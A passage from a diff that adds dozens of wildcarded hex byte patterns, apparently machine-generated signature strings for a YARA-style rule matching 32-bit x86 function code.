+		$4645872_100 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? 5? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4602898_99 = { 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 8B ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 ?? 5? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 99 33 ?? 2B ?? 8B ?? ?? 89 ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 }
+		$4752687_98 = { 8B ?? ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 89 ?? ?? 4? 0F 84 }
+		$4666014_98 = { 5? 8B ?? 8D ?? ?? A5 A5 A5 A5 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 5? 5? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 4? ?? 75 }
+		$4745496_98 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 85 ?? 0F 8E }
+		$4602744_97 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 89 ?? 8B ?? ?? 33 ?? 89 ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$4601250_96 = { 8B ?? 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 85 }
+		$4721925_95 = { 8D ?? ?? 5? 8B ?? 33 ?? 5? 5? 5? 5? 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? DD ?? ?? 9B 8D ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? DD ?? ?? 9B E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 74 }
+		$4601252_94 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 85 }
+		$4658771_93 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4721928_92 = { 5? 8B ?? 33 ?? 5? 5? 5? 5? 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? DD ?? ?? 9B 8D ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? DD ?? ?? 9B E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? 0F B7 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 74 }
+		$4716437_91 = { 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 }
+		$4721125_91 = { 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4594953_91 = { 68 ?? ?? ?? ?? 61 64 ?? 8B ?? 81 C? ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? ?? ?? ?? 80 7? ?? ?? 0F 85 }
+		$4772804_90 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 0F 84 }
+		$4755053_88 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? A5 A5 A5 A5 5? A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 6A ?? 8B ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 74 }
+		$4616890_87 = { 8D ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 4? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 8B ?? 8B ?? FF 5? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$4724151_85 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C1 ?? ?? 99 3B ?? ?? ?? 75 }
+		$4752931_85 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4618027_84 = { 8B ?? ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? 8B ?? 89 ?? ?? 8D ?? ?? ?? 8B ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 7E }
+		$4669353_84 = { 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4594960_84 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? ?? ?? ?? 80 7? ?? ?? 0F 85 }
+		$4598916_84 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8B ?? 88 ?? ?? 8B ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 6A ?? 6A ?? A1 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? F7 ?? ?? ?? ?? ?? 0F 85 }
+		$4770972_83 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4725836_81 = { 6A ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F 94 ?? 6A ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F 94 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F 94 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F 94 ?? 84 ?? 75 }
+		$4664968_77 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? B3 ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4745777_76 = { 0F B6 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 0F B6 ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 75 }
+		$4720975_76 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4719119_75 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 8B ?? ?? 83 ?? ?? ?? 0F 85 }
+		$4659280_75 = { 5? 8B ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? 5? 5? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 89 ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$4693664_74 = { 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 }
+		$4599527_73 = { 5? 5? 8B ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 85 }
+		$4750378_72 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4651794_71 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 8B ?? 8B ?? FF 5? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4599145_70 = { 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? A5 A5 A5 A5 5? A1 ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? A5 A5 A5 A5 5? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? F7 ?? ?? ?? ?? ?? 0F 85 }
+		$4718333_70 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4751167_70 = { 8B ?? ?? 83 ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4600757_69 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? A5 A5 A5 A5 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? A5 A5 A5 A5 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 80 7? ?? ?? 74 }
+		$4765960_69 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4586972_69 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 0F B6 ?? ?? FE ?? 74 }
+		$4669044_67 = { 5? 5? 5? 83 ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? 4? 66 ?? ?? 72 }
+		$4743316_66 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8B ?? 8D ?? ?? BF ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4656020_66 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4645084_66 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 87 }
+		$4753025_65 = { 8D ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 8E }
+		$4665864_65 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? B3 ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4753904_65 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4651118_64 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? FF 5? ?? 4? 85 ?? 0F 8C }
+		$4750183_64 = { 8B ?? ?? 83 ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$4755614_63 = { 8B ?? ?? E8 ?? ?? ?? ?? F7 ?? ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 5? 9? 8B ?? 99 F7 ?? 8B ?? 8B ?? ?? E8 ?? ?? ?? ?? F7 ?? ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 5? 9? 8B ?? 99 F7 ?? 8B }
+		$4718112_63 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$4599820_62 = { 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 6A ?? 6A ?? 8B ?? ?? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 94 }
+		$4773941_61 = { 6A ?? 8B ?? E8 ?? ?? ?? ?? 03 ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 03 ?? 0F B6 ?? ?? C1 ?? ?? 03 ?? 0F B6 ?? ?? C1 ?? ?? 03 ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 8D ?? ?? ?? BA ?? ?? ?? ?? E8 }
+		$4746473_60 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4742976_60 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 33 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$4671032_58 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$4717215_58 = { 8B ?? ?? 83 ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4783058_57 = { 8D ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 0F 84 }
+		$4741475_57 = { 5? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? C6 ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? ?? 8B ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 }
+		$4705535_57 = { A1 ?? ?? ?? ?? 8B ?? 5? A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 0F B7 ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? FF D? 33 ?? 5? 5? 5? 64 ?? ?? E9 }
+		$4665049_55 = { 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? 6A ?? 6A ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 4? 0F 84 }
+		$4646766_55 = { 8B ?? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 33 ?? 89 ?? ?? 33 ?? 89 ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 6A ?? 8D ?? ?? 5? 6A ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
